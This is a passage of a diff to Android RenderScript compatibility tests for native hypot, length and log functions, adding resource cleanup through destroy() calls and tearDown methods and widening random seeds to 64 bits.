             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeHypotFloat2Float2Float2: " + e.toString());
         }
@@ -138,9 +150,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testNativeHypotFloat2Float2Float2(inA, out);
             verifyResultsNativeHypotFloat2Float2Float2(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeHypotFloat2Float2Float2: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsNativeHypotFloat2Float2Float2(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -202,13 +217,14 @@
     }
 
     private void checkNativeHypotFloat3Float3Float3() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x62830feel, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x62830fefl, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xe70ce46762830feel, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xe70ce46762830fefl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testNativeHypotFloat3Float3Float3(inA, out);
             verifyResultsNativeHypotFloat3Float3Float3(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeHypotFloat3Float3Float3: " + e.toString());
         }
@@ -217,9 +233,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testNativeHypotFloat3Float3Float3(inA, out);
             verifyResultsNativeHypotFloat3Float3Float3(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeHypotFloat3Float3Float3: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsNativeHypotFloat3Float3Float3(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -281,13 +300,14 @@
     }
 
     private void checkNativeHypotFloat4Float4Float4() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x6461118fl, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x64611190l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x3b71c2876461118fl, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x3b71c28764611190l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testNativeHypotFloat4Float4Float4(inA, out);
             verifyResultsNativeHypotFloat4Float4Float4(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeHypotFloat4Float4Float4: " + e.toString());
         }
@@ -296,9 +316,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testNativeHypotFloat4Float4Float4(inA, out);
             verifyResultsNativeHypotFloat4Float4Float4(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeHypotFloat4Float4Float4: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsNativeHypotFloat4Float4Float4(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -368,13 +391,14 @@
     }
 
     private void checkNativeHypotHalfHalfHalf() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x93522f56l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x93522f57l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x7b9a708c93522f56l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x7b9a708c93522f57l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testNativeHypotHalfHalfHalf(inA, out);
             verifyResultsNativeHypotHalfHalfHalf(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeHypotHalfHalfHalf: " + e.toString());
         }
@@ -383,9 +407,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testNativeHypotHalfHalfHalf(inA, out);
             verifyResultsNativeHypotHalfHalfHalf(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeHypotHalfHalfHalf: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsNativeHypotHalfHalfHalf(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -452,13 +479,14 @@
     }
 
     private void checkNativeHypotHalf2Half2Half2() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xf4dca3f6l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xf4dca3f7l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xcd23346f4dca3f6l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xcd23346f4dca3f7l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testNativeHypotHalf2Half2Half2(inA, out);
             verifyResultsNativeHypotHalf2Half2Half2(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeHypotHalf2Half2Half2: " + e.toString());
         }
@@ -467,9 +495,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testNativeHypotHalf2Half2Half2(inA, out);
             verifyResultsNativeHypotHalf2Half2Half2(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeHypotHalf2Half2Half2: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsNativeHypotHalf2Half2Half2(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -536,13 +567,14 @@
     }
 
     private void checkNativeHypotHalf3Half3Half3() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x537bb4c5l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x537bb4c6l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x3286b330537bb4c5l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x3286b330537bb4c6l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testNativeHypotHalf3Half3Half3(inA, out);
             verifyResultsNativeHypotHalf3Half3Half3(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeHypotHalf3Half3Half3: " + e.toString());
         }
@@ -551,9 +583,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testNativeHypotHalf3Half3Half3(inA, out);
             verifyResultsNativeHypotHalf3Half3Half3(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeHypotHalf3Half3Half3: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsNativeHypotHalf3Half3Half3(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -620,13 +655,14 @@
     }
 
     private void checkNativeHypotHalf4Half4Half4() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xb21ac594l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xb21ac595l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x583b3319b21ac594l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x583b3319b21ac595l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testNativeHypotHalf4Half4Half4(inA, out);
             verifyResultsNativeHypotHalf4Half4Half4(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeHypotHalf4Half4Half4: " + e.toString());
         }
@@ -635,9 +671,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testNativeHypotHalf4Half4Half4(inA, out);
             verifyResultsNativeHypotHalf4Half4Half4(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeHypotHalf4Half4Half4: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsNativeHypotHalf4Half4Half4(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeLength.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeLength.java
index 532379c..180e9a1 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeLength.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeLength.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestNativeLengthRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkNativeLengthFloatFloat() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xd1df20ecl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xbe51f0c4d1df20ecl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testNativeLengthFloatFloat(inV, out);
             verifyResultsNativeLengthFloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLengthFloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testNativeLengthFloatFloat(inV, out);
             verifyResultsNativeLengthFloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLengthFloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeLengthFloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -114,11 +124,12 @@
     }
 
     private void checkNativeLengthFloat2Float() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xf1b4824cl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xf7c2930af1b4824cl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testNativeLengthFloat2Float(inV, out);
             verifyResultsNativeLengthFloat2Float(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLengthFloat2Float: " + e.toString());
         }
@@ -126,9 +137,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testNativeLengthFloat2Float(inV, out);
             verifyResultsNativeLengthFloat2Float(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLengthFloat2Float: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeLengthFloat2Float(Allocation inV, Allocation out, boolean relaxed) {
@@ -185,11 +198,12 @@
     }
 
     private void checkNativeLengthFloat3Float() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x50bb10adl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xf7c29dac50bb10adl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testNativeLengthFloat3Float(inV, out);
             verifyResultsNativeLengthFloat3Float(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLengthFloat3Float: " + e.toString());
         }
@@ -197,9 +211,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testNativeLengthFloat3Float(inV, out);
             verifyResultsNativeLengthFloat3Float(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLengthFloat3Float: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeLengthFloat3Float(Allocation inV, Allocation out, boolean relaxed) {
@@ -256,11 +272,12 @@
     }
 
     private void checkNativeLengthFloat4Float() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xafc19f0el, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xf7c2a84dafc19f0el, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testNativeLengthFloat4Float(inV, out);
             verifyResultsNativeLengthFloat4Float(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLengthFloat4Float: " + e.toString());
         }
@@ -268,9 +285,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testNativeLengthFloat4Float(inV, out);
             verifyResultsNativeLengthFloat4Float(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLengthFloat4Float: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeLengthFloat4Float(Allocation inV, Allocation out, boolean relaxed) {
@@ -333,11 +352,12 @@
     }
 
     private void checkNativeLengthHalfHalf() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x1777436l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x576f8cda01777436l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testNativeLengthHalfHalf(inV, out);
             verifyResultsNativeLengthHalfHalf(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLengthHalfHalf: " + e.toString());
         }
@@ -345,9 +365,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testNativeLengthHalfHalf(inV, out);
             verifyResultsNativeLengthHalfHalf(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLengthHalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeLengthHalfHalf(Allocation inV, Allocation out, boolean relaxed) {
@@ -409,11 +431,12 @@
     }
 
     private void checkNativeLengthHalf2Half() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xbffb8a74l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xafbca308bffb8a74l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testNativeLengthHalf2Half(inV, out);
             verifyResultsNativeLengthHalf2Half(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLengthHalf2Half: " + e.toString());
         }
@@ -421,9 +444,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testNativeLengthHalf2Half(inV, out);
             verifyResultsNativeLengthHalf2Half(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLengthHalf2Half: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeLengthHalf2Half(Allocation inV, Allocation out, boolean relaxed) {
@@ -485,11 +510,12 @@
     }
 
     private void checkNativeLengthHalf3Half() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x9a26417l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xafbca34809a26417l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testNativeLengthHalf3Half(inV, out);
             verifyResultsNativeLengthHalf3Half(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLengthHalf3Half: " + e.toString());
         }
@@ -497,9 +523,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testNativeLengthHalf3Half(inV, out);
             verifyResultsNativeLengthHalf3Half(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLengthHalf3Half: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeLengthHalf3Half(Allocation inV, Allocation out, boolean relaxed) {
@@ -561,11 +589,12 @@
     }
 
     private void checkNativeLengthHalf4Half() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x53493dbal, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xafbca38753493dbal, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testNativeLengthHalf4Half(inV, out);
             verifyResultsNativeLengthHalf4Half(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLengthHalf4Half: " + e.toString());
         }
@@ -573,9 +602,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testNativeLengthHalf4Half(inV, out);
             verifyResultsNativeLengthHalf4Half(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLengthHalf4Half: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeLengthHalf4Half(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeLog.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeLog.java
index dd52d7b..a057952 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeLog.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeLog.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestNativeLogRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkNativeLogFloatFloat() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xe6418d2cl, 10e-10, 10e10);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x6237b14ee6418d2cl, 10e-10, 10e10);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testNativeLogFloatFloat(inV, out);
             verifyResultsNativeLogFloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLogFloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testNativeLogFloatFloat(inV, out);
             verifyResultsNativeLogFloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLogFloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeLogFloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -112,11 +122,12 @@
     }
 
     private void checkNativeLogFloat2Float2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xd3eee3b0l, 10e-10, 10e10);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x641a5823d3eee3b0l, 10e-10, 10e10);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testNativeLogFloat2Float2(inV, out);
             verifyResultsNativeLogFloat2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLogFloat2Float2: " + e.toString());
         }
@@ -124,9 +135,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testNativeLogFloat2Float2(inV, out);
             verifyResultsNativeLogFloat2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLogFloat2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeLogFloat2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -181,11 +194,12 @@
     }
 
     private void checkNativeLogFloat3Float3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xca0a048el, 10e-10, 10e10);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x641c213eca0a048el, 10e-10, 10e10);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testNativeLogFloat3Float3(inV, out);
             verifyResultsNativeLogFloat3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLogFloat3Float3: " + e.toString());
         }
@@ -193,9 +207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testNativeLogFloat3Float3(inV, out);
             verifyResultsNativeLogFloat3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLogFloat3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeLogFloat3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -250,11 +266,12 @@
     }
 
     private void checkNativeLogFloat4Float4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xc025256cl, 10e-10, 10e10);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x641dea59c025256cl, 10e-10, 10e10);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testNativeLogFloat4Float4(inV, out);
             verifyResultsNativeLogFloat4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLogFloat4Float4: " + e.toString());
         }
@@ -262,9 +279,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testNativeLogFloat4Float4(inV, out);
             verifyResultsNativeLogFloat4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLogFloat4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeLogFloat4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -325,11 +344,12 @@
     }
 
     private void checkNativeLogHalfHalf() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x7dcf0276l, 10e-5, 65504);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x9ed3ea227dcf0276l, 10e-5, 65504);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testNativeLogHalfHalf(inV, out);
             verifyResultsNativeLogHalfHalf(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLogHalfHalf: " + e.toString());
         }
@@ -337,9 +357,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testNativeLogHalfHalf(inV, out);
             verifyResultsNativeLogHalfHalf(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLogHalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeLogHalfHalf(Allocation inV, Allocation out, boolean relaxed) {
@@ -398,11 +420,12 @@
     }
 
     private void checkNativeLogHalf2Half2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x535fd468l, 10e-5, 65504);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x28952302535fd468l, 10e-5, 65504);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testNativeLogHalf2Half2(inV, out);
             verifyResultsNativeLogHalf2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLogHalf2Half2: " + e.toString());
         }
@@ -410,9 +433,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testNativeLogHalf2Half2(inV, out);
             verifyResultsNativeLogHalf2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLogHalf2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeLogHalf2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -471,11 +496,12 @@
     }
 
     private void checkNativeLogHalf3Half3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xb267995cl, 10e-5, 65504);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x28952da3b267995cl, 10e-5, 65504);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testNativeLogHalf3Half3(inV, out);
             verifyResultsNativeLogHalf3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLogHalf3Half3: " + e.toString());
         }
@@ -483,9 +509,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testNativeLogHalf3Half3(inV, out);
             verifyResultsNativeLogHalf3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLogHalf3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeLogHalf3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -544,11 +572,12 @@
     }
 
     private void checkNativeLogHalf4Half4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x116f5e50l, 10e-5, 65504);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x28953845116f5e50l, 10e-5, 65504);
         try {
